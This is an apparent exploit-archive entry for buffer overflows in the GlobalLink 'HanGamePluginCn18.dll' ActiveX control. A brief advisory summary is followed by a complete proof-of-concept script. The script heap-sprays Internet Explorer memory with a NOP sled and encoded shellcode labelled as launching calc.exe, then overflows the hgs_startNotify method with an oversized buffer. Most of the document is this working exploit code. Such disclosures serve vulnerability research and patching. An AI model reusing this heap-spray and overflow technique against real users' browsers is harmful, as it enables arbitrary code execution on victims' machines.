GlobalLink 2.6.1.2 - 'HanGamePlugincn18.dll' ActiveX Control Multiple Buffer Overflow Vulnerabilities

source: https://www.securityfocus.com/bid/27626/info

GlobalLink is prone to multiple buffer-overflow vulnerabilities because it fails to properly bounds-check user-supplied data before copying it into an insufficiently sized memory buffer.

An attacker can exploit these issues to execute arbitrary code within the context of application that invoked the ActiveX control (typically Internet Explorer). Failed exploit attempts will result in a denial-of-service condition.

These issues affect GlobalLink 2.8.1.2 beta and 2.6.1.29; other versions may also be affected. 

<%@ LANGUAGE = JavaScript %>
<%

var act=new ActiveXObject("HanGamePluginCn18.HanGamePluginCn18.1");

//run calc.exe
var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");

var bigblock = unescape("%u9090%u9090");

var headersize = 20;

var slackspace = headersize+shellcode.length;

while (bigblock.length<slackspace) bigblock+=bigblock;

fillblock = bigblock.substring(0, slackspace);

block = bigblock.substring(0, bigblock.length-slackspace);

while(block.length+slackspace<0x40000) block = block+block+fillblock;

memory = new Array();

for (x=0; x<300; x++) memory[x] = block + shellcode;

var buffer = &#039;&#039;;

while (buffer.length < 1319) buffer+="A";

buffer=buffer+"\x0a\x0a\x0a\x0a"+buffer;

act.hgs_startNotify(buffer);

%>